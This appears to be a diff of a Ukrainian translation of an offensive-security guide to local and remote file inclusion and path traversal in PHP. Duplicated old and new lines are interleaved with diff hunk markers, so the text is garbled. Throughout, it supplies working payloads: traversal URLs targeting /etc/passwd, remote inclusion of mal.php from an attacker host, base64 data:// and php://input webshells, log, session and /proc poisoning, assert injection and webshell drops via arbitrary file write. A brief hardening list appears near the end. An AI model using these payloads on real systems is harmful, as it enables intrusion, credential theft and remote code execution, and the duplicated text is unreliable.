- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, і `/etc/passwd/` трактуються як один і той самий шлях.
- Коли останні 6 символів — `passwd`, додавання `/` (утворюючи `passwd/`) не змінює цільовий файл.
- Аналогічно, якщо до шляху додається `.php` (наприклад, `shellcode.php`), додавання `/.` наприкінці не змінює доступний файл.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` трактуються як один і той самий file path.
- Якщо останні 6 символів — `passwd`, додавання `/` (утворюючи `passwd/`) не змінює цільовий файл.
- Аналогічно, якщо до file path додається `.php` (наприклад `shellcode.php`), додавання `/.` у кінці не змінить файл, до якого здійснюється доступ.
Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd`частої цілі через її чутливий вміст (інформація про облікові записи користувачів):
Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd`поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,11 +125,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
У цих сценаріях кількість необхідних `../` послідовностей може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
- **Using Dot Segments and Additional Characters**: Послідовності (`../`) у поєднанні з додатковими крапковими сегментами та символами можуть використовуватися для навігації по файловій системі, фактично ігноруючи додані сервером рядки.
- **Determining the Required Number of Traversals**: Шляхом проб і помилок можна визначити точну кількість `../` послідовностей, необхідних для виходу до кореневого каталогу, а потім до `/etc/passwd`, гарантуючи, що будь-які додані рядки (наприклад, `.php`) будуть нейтралізовані, але бажаний шлях (`/etc/passwd`) залишиться незмінним.
- **Starting with a Fake Directory**: Зазвичай шлях починають з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як запобіжний захід або щоб виконати вимоги логіки розбору шляхів на сервері.
- **Using Dot Segments and Additional Characters**: Послідовності (`../`) у поєднанні з додатковими сегментами крапок та символами можна використовувати для навігації файловою системою, фактично ігноруючи рядки, які додає сервер.
- **Determining the Required Number of Traversals**: Методом спроб і помилок можна визначити точну кількість послідовностей `../`, необхідних щоб дістатися до кореневого каталогу й потім до `/etc/passwd`, забезпечивши нейтралізацію будь-яких доданих рядків (наприклад `.php`), але при цьому збереження бажаного шляху (`/etc/passwd`).
- **Starting with a Fake Directory**: Це загально прийнята практика — починати шлях із неіснуючого каталогу (наприклад `a/`). Ця техніка використовується як запобіжний захід або щоб виконати вимоги логіки розбору шляху сервером.
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
У php це вимкнено за замовчуванням, оскільки **`allow_url_include`** встановлено в **Off.** Його потрібно встановити в **On**, щоб це працювало, і в такому випадку ви можете include PHP-файл з вашого server і отримати RCE:
У php це вимкнено за замовчуванням, тому що **`allow_url_include`** встановлено в **Off.** Воно має бути **On**, щоб працювати, і в такому випадку ви можете підключити PHP-файл з вашого сервера і отримати RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Якщо з якоїсь причини **`allow_url_include`** є **On**, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цією публікацією](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використати data protocol з base64, щоб декодувати b64 PHP code і egt RCE:
Якщо з якоїсь причини **`allow_url_include`** встановлено в **On**, але PHP фільтрує доступ до зовнішніх веб-сторінок, [згідно з цим дописом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використати протокол data з base64, щоб декодувати b64 PHP-код і отримати RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> У попередньому коді кінцевий `+.txt` був доданий, тому що атакуючий потребував рядка, який закінчується на `.txt`, тож рядок закінчується ним, і після b64 decode ця частина поверне лише сміття, а справжній PHP-код буде включено (і, отже, виконано).
Інший приклад **не використовуючи протокол `php://`** був би:
> У попередньому коді фінальна `+.txt` була додана тому, що attacker потребував рядка, який закінчується на `.txt`, тож рядок закінчується ним і після b64 decode ця частина поверне лише сміття, а справжній PHP code буде включений (і, отже, виконаний).
>
> Інший приклад **без використання протоколу `php://`** виглядатиме так:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python кореневий елемент
У python у коді, як-от цьому:
У python у коді, як у цьому:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Якщо користувач передає **абсолютний шлях** до **`file_name`**, **попередній шлях просто видаляється**:
Якщо користувач передає **absolute path** в **`file_name`**, **попередній шлях просто видаляється**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Це очікувана поведінка згідно з [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються і об'єднання продовжується з компонента абсолютного шляху.
> Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються, і об'єднання продовжується від компонента з абсолютним шляхом.
## Java: перелік директорій
## Java: перерахування директорій
Схоже, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, то **повертається перелік вмісту директорії**. За інших мов це, наскільки мені відомо, не трапляється.
Здається, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, то **повертається перелік вмісту директорії**. Це не відбувається в інших мовах (наскільки мені відомо).
## Топ-25 параметрів
## Топ 25 параметрів
Ось список топ-25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (з [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Ось список топ 25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (з [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
?mod={payload}
?conf={payload}
```
## LFI / RFI з використанням PHP wrappers & protocols
## LFI / RFI за допомогою PHP обгорток і протоколів
### php://filter
PHP filters дозволяють виконувати базові **операції модифікації даних** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
PHP-фільтри дозволяють виконувати базові операції з **модифікації даних** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Видаляє теги з даних (усе між символами "<" і ">")
- Зверніть увагу, що цей фільтр зник у сучасних версіях PHP
- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Перетворює у іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список усіх підтримуваних кодувань**, виконайте в консолі: `iconv -l`
- `convert.iconv.*` : Перетворює в інше кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список усіх кодувань**, що підтримуються, виконайте в консолі: `iconv -l`
> [!WARNING]
> Зловживши фільтром конвертації `convert.iconv.*`, ви можете **згенерувати довільний текст**, що може бути корисно для запису довільного тексту або змусити функцію на кшталт include обробляти довільний текст. Для отримання додаткової інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Зловживання фільтром `convert.iconv.*` дозволяє **згенерувати довільний текст**, що може бути корисним для запису довільного тексту або щоб функція на кшталт include обробляла довільний текст. Для додаткової інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Стискає вміст (корисно при exfiltrating великої кількості інформації)
- `zlib.inflate`: Декомпресує дані
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
- `zlib.inflate`: Decompress the data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Застаріло
- `mdecrypt.*` : Застаріло
- Інші фільтри
- Запустивши в PHP `var_dump(stream_get_filters());`, ви можете знайти кілька **неочікуваних фільтрів**:
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- Other Filters
- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
- `consumed`
- `dechunk`: скасовує HTTP chunked encoding
- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -275,35 +275,35 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Використання php filters як oracle для читання довільних файлів
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропоновано техніку читання локального файлу без повернення виводу від сервера. Ця техніка базується на **boolean exfiltration of the file (char by char) using php filters** як oracle. Це тому, що php filters можна використовувати, щоб зробити текст достатньо великим, щоб php згенерував виняток.
[**У цьому дописі**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) пропонується техніка для читання локального файлу без повернення його вмісту від сервера. Ця техніка базується на **boolean exfiltration of the file (char by char) using php filters** як oracle. Це можливо тому, що php filters можуть використовуватись для збільшення тексту настільки, що php викине виняток.
В оригінальному пості ви знайдете детальне пояснення техніки, але тут коротке резюме:
У оригінальному дописі є детальне пояснення техніки, тут коротке резюме:
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- Це буде використано для генерації **тексту, настільки великого при правильному вгадуванні початкової літери**, що php викличе **помилку**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми зробили достатньо перетворень, щоб вона перестала бути an hexadecimal character. Тому що якщо hex, dechunk не видалить її і початкова бомба спричинить php error.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Використовуючи інші перетворення, як-от **rot13** на початку, можна leak інші символи, такі як n, o, p, q, r (і інші codecs можна використовувати для переміщення інших літер у hex діапазон).
- When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- Остаточна проблема — побачити **how to leak more than the initial letter**. Використовуючи order memory filters, як-от **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і помістити на першу позицію інші літери тексту.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and **видалити дані до сміттєвих даних** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
- Використати codec **`UCS-4LE`**, щоб залишити провідний символ тексту на початку і зробити розмір рядка експоненційно більшим.
- Це використовується для генерації **дуже великого тексту, коли початкова літера вгадана правильно**, так що php викличе **помилку**
- Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тому ми можемо визначити, чи перший символ є hex.
- Це, у поєднанні з попереднім (і іншими фільтрами залежно від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли достатньо трансформацій робить її не шістнадцятковим символом. Тому що якщо hex, dechunk його не видалить і початкова бомба викличе помилку php.
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру в наступну (тому після цього codec: a -> b). Це дозволяє виявити, чи початкова літера — наприклад, `a`, бо якщо застосувати 6 таких codec: a->b->c->d->e->f->g, літера більше не буде шістнадцятковим символом, отже dechunk її не видалить і php-помилка спрацює через множення початкової бомби.
- Використовуючи інші трансформації, як **rot13** на початку, possible to leak інші символи як n, o, p, q, r (і інші codecs можуть бути використані для переміщення інших літер в діапазон hex).
- Коли початковий символ — число, потрібно base64 encode його і leak перші 2 літери, щоб leak число.
- Кінцева проблема — як leak більше ніж початкова літера. Використовуючи фільтри порядку байтів (order memory filters) такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** можна змінити порядок символів і помістити на першу позицію інші літери тексту.
- А щоб отримати further data ітидея в тому, щоб **згенерувати 2 байти junk даних на початку** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE** щоб вони **pivot з наступними 2 байтами**, та d**elete дані до junk даних** (це видалить перші 2 байти початкового тексту). Продовжувати це робити, поки не досягнете бажаного біта для leak.
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
У дописі також був leaked інструмент для автоматизації: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
Цей wrapper дозволяє отримати доступ до file descriptors, які процес має відкритими. Потенційно корисно для exfiltrate вмісту відкритих файлів:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Ви також можете використовувати **php://stdin, php://stdout та php://stderr** для доступу до **файлових дескрипторів 0, 1 і 2** відповідно (не впевнений, як це може бути корисним в атаці)
Ви також можете використовувати **php://stdin, php://stdout and php://stderr** для доступу до **file descriptors 0, 1 and 2** відповідно (не впевнений, як це може бути корисним у атаці)
### zip:// та rar://
### zip:// and rar://
Завантажте файл Zip або Rar з PHPShell всередині та отримайте до нього доступ.\
Щоб мати змогу зловживати rar protocol, його **потрібно спеціально активувати**.
Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.\
Щоб мати змогу зловживати протоколом rar, його **need to be specifically activated**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -332,20 +332,20 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### expect://
Expect має бути активовано. Ви можете виконати код за допомогою цього:
Expect має бути активований. Ви можете виконувати код за допомогою цього:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Вкажіть свій payload у параметрах POST:
Вкажіть payload у POST parameters:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Файл `.phar` може бути використаний для виконання PHP-коду, коли веб-застосунок використовує функції на кшталт `include` для завантаження файлів. Наведений нижче фрагмент PHP-коду показує створення файлу `.phar`:
Файл `.phar` може бути використаний для виконання PHP-коду, коли вебзастосунок використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення `.phar` файлу:
```php
<?php
$phar = new Phar('test.phar');
@ -360,9 +360,9 @@ php --define phar.readonly=0 create_path.php
```
Після виконання буде створено файл з іменем `test.phar`, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI).
Якщо LFI лише читає файл без виконання в ньому PHP-коду, через функції такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` або `filesize()`, можна спробувати експлуатувати вразливість десереалізації. Ця вразливість пов'язана з читанням файлів через протокол `phar`.
У випадках, коли LFI лише читає файл без виконання PHP-коду всередині — через такі функції, як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` або `filesize()` — може бути спроба експлуатації вразливості deserialization. Ця вразливість пов'язана з читанням файлів за допомогою протоколу `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
Для детального розуміння експлуатації вразливостей deserialization у контексті файлів `.phar`, зверніться до документа, наведеного нижче:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -374,31 +374,31 @@ phar-deserialization.md
### CVE-2024-2961
Було можливо зловживати **any arbitrary file read from PHP that supports php filters** щоб отримати RCE. Детальний опис можна [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Дуже коротке резюме: **3 byte overflow** в PHP heap було використано, щоб **alter the chain of free chunks** певного розміру з метою мати можливість **write anything in any address**, тому додали хук для виклику **`system`**.\
Було можливо alloc чанки певних розмірів, зловживаючи додатковими php filters.
Коротко: **3 byte overflow** в PHP heap був використаний, щоб **alter the chain of free chunks** певного розміру, що дозволило **write anything in any address**, тому був доданий хук, який викликає **`system`**.\
Було можливим alloc chunks певних розмірів, зловживаючи додатковими php filters.
### Більше протоколів
Перевірте більше можливих[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Перевірте інші можливі[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — запис у пам'ять або в тимчасовий файл (не впевнений, як це може бути корисним в атаці file inclusion)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — доступ до локальної файлової системи
- [http://](https://www.php.net/manual/en/wrappers.http.php) — доступ до HTTP(s) URL-ів
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — доступ до FTP(s) URL-ів
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — потоки стиснення
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — знаходить імена шляхів, що відповідають шаблону (не повертає нічого придатного для виводу, тому тут не дуже корисний)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або у тимчасовий файл (не впевнено, як це може бути корисно у file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL-адрес
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL-адрес
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (Воно не повертає нічого придатного для виведення, тому не дуже корисне тут)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — аудіопотоки (не корисно для читання довільних файлів)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Не корисно для читання довільних файлів)
## LFI via PHP's 'assert'
Ризики Local File Inclusion (LFI) у PHP особливо високі при роботі з функцією 'assert', яка може виконувати код зі строк. Це особливо проблематично, якщо введення, що містить символи directory traversal, такі як "..", перевіряється, але не належним чином санітизоване.
Ризики Local File Inclusion (LFI) у PHP особливо високі при роботі з функцією 'assert', яка може виконувати код, що міститься у рядках. Це особливо проблематично, якщо ввод, що містить символи обходу директорій, такі як "..", перевіряється, але не належним чином фільтрується.
Наприклад, PHP-код може бути спроєктований для запобігання directory traversal наступним чином:
Наприклад, PHP-код може бути створений, щоб запобігати directory traversal таким чином:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Хоча це має на меті зупинити traversal, воно ненавмисно створює вектор для code injection. Щоб використати це для читання вмісту файлу, зловмисник може скористатися:
Хоча це має на меті зупинити traversal, воно ненавмисно створює вектор для code injection. Щоб скористатися цим для читання вмісту файлу, зловмисник може використати:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -406,18 +406,18 @@ assert("strpos('$file', '..') === false") or die("");
```plaintext
' and die(system("id")) or '
```
Важливо **URL-encode these payloads**.
It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Ця техніка релевантна у випадках, коли ви **контролюєте** **file path** **PHP function**, яка буде **access a file**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), і вміст не показується.
> Ця техніка релевантна у випадках, коли ви **контролюєте** **file path** для **PHP function**, яка буде **access a file**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), оскільки вміст не відображається.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
В [**цьому чудовому пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як blind path traversal можна зловживати через PHP filter, щоб **exfiltrate the content of a file via an error oracle**.
У підсумку, техніка використовує **"UCS-4LE" encoding** щоб зробити вміст файлу настільки **big**, що **PHP function opening** файл спричинить **помилку**.
У підсумку, техніка використовує **"UCS-4LE" encoding**, щоб зробити вміст файлу настільки **великим**, що **PHP function opening** файл викличе **error**.
Потім, щоб leak the first char, використовується фільтр **`dechunk`** разом з іншими, такими як **base64** або **rot13**, і нарешті застосовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** щоб **place other chars at the beggining and leak them**.
Потім, щоб leak перший символ, використовується фільтр **`dechunk`** разом з іншими, такими як **base64** або **rot13**, і нарешті використовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE**, щоб **place other chars at the beggining and leak them**.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@ -427,20 +427,20 @@ For the technical details check the mentioned post!
### Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Коли серверний код, який приймає/завантажує файли, будує шлях призначення з даних під контролем користувача (наприклад, filename або URL) без канонізації та валідації, сегменти `..` і абсолютні шляхи можуть вийти за межі призначеної директорії і спричинити arbitrary file write. Якщо ви можете помістити payload у web-exposed directory, зазвичай отримуєте unauthenticated RCE, закинувши webshell.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
Типовий робочий процес експлуатації:
- Виявити write primitive в endpoint або background worker, який приймає path/filename і записує вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
- Визначити web-exposed directories. Поширені приклади:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
- Сконструювати traversal path, який виходить з призначеного storage directory у webroot, і включити в нього вміст webshell.
- Відкрити dropped payload у браузері та виконати команди.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Примітки:
- Уразливий сервіс, що виконує запис, може слухати на порту, відмінному від HTTP (наприклад, JMF XML listener на TCP 4004). Головний веб-портал (інший порт) пізніше буде слугувати вашому payload.
- У Java-стеках ці операції запису файлів часто імплементовані простим конкатенуванням `File`/`Paths`. Відсутність канонізації/allow-listing — основний недолік.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,26 +466,25 @@ in.transferTo(out);
</Command>
</JMF>
```
Методи захисту, що нейтралізують цей клас вразливостей:
- Розв'язувати у канонічний шлях і забезпечувати, що він є нащадком дозволеного базового каталогу.
- Відхиляти будь-який шлях, що містить `..`, абсолютні корені або літери дисків; віддавати перевагу згенерованим іменам файлів.
- Запускати writer під обліковим записом з мінімальними привілеями та розділяти директорії для запису від коренів, що обслуговуються.
Заходи жорсткого захисту, які нейтралізують цей клас вразливостей:
- Нормалізуйте шлях до канонічної форми і переконайтеся, що він є нащадком дозволеного базового каталогу.
- Відхиляйте будь-який шлях, що містить `..`, абсолютні корені або літеру диска; надавайте перевагу згенерованим іменам файлів.
- Запускайте процес запису від імені облікового запису з низькими привілеями і відокремлюйте каталоги для запису від коренів, що обслуговуються.
## Remote File Inclusion
Explained previously, [**follow this link**](#remote-file-inclusion).
Пояснювалося раніше, [**follow this link**](#remote-file-inclusion).
### Через лог-файл Apache/Nginx
### Через Apache/Nginx log file
Якщо сервер Apache або Nginx є **vulnerable to LFI** всередині функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, записати в **user agent** або в **GET parameter** php shell типу **`<?php system($_GET['c']); ?>`** і include-нути цей файл
Якщо сервер Apache або Nginx **вразливий до LFI** у функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, записати в **user agent** або в **GET parameter** php shell, наприклад **`<?php system($_GET['c']); ?>`**, і включити цей файл
> [!WARNING]
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **простих лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP згенерує помилку** і **нічого іншого не буде виконано**.
> Зверніть увагу, що **якщо ви використовуєте двійні лапки** для shell замість **одинарних**, двійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** там і **нічого іншого не буде виконано**.
>
> Також переконайтеся, що ви **правильно записали payload**, інакше PHP буде давати помилку щоразу при спробі завантажити файл журналу і у вас не буде другої можливості.
> Також переконайтеся, що ви **правильно формуєте payload**, інакше PHP видаватиме помилку щоразу, коли спробує завантажити лог-файл, і у вас не буде другої можливості.
Це також можна зробити в інших логах, але **будьте обережні,** код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" в Base64 і він декодується всередині логів. PHPShell можна вставити всередину цього заголовка.\
Інші можливі шляхи логів:
Це також може бути зроблено в інших логах, але **обережно,** код всередині логів може бути URL encoded і це може зіпсувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і він декодується всередині логів. PHPShell could be inserted inside this header.\ Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -499,33 +498,33 @@ Explained previously, [**follow this link**](#remote-file-inclusion).
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via Email
### Через Email
**Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**
**Надішліть лист** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
### Через /proc/*/fd/*
1. Завантажте багато shells (наприклад: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID — PID процесу (можна brute force), а $FD — дескриптор файлу (також можна brute force)
1. Завантажте багато shells (for example : 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
### Via /proc/self/environ
### Через /proc/self/environ
Як і з лог-файлом, відправте payload у User-Agent — він відобразиться всередині файлу /proc/self/environ
Як із лог-файлом, відправте payload в User-Agent — він відобразиться у файлі /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Через upload
Якщо ви можете upload файл, просто inject shell payload в нього (e.g : `<?php system($_GET['c']); ?>` ).
Якщо ви можете upload файл, просто inject the shell payload у нього (e.g : `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Щоб файл залишався читабельним, найкраще вбудувати його в метадані зображень/документів/pdf
Щоб файл залишався читабельним, найкраще вбудовувати інформацію в метадані зображень/doc/pdf
### Через завантаження ZIP файлу
### Через Zip file upload
Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ:
Завантажте ZIP-файл, що містить стиснутий PHP shell, і отримайте доступ:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -545,32 +544,32 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Використайте LFI, щоб включити файл сесії PHP.
Використайте LFI, щоб включити PHP-файл сесії
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Через ssh
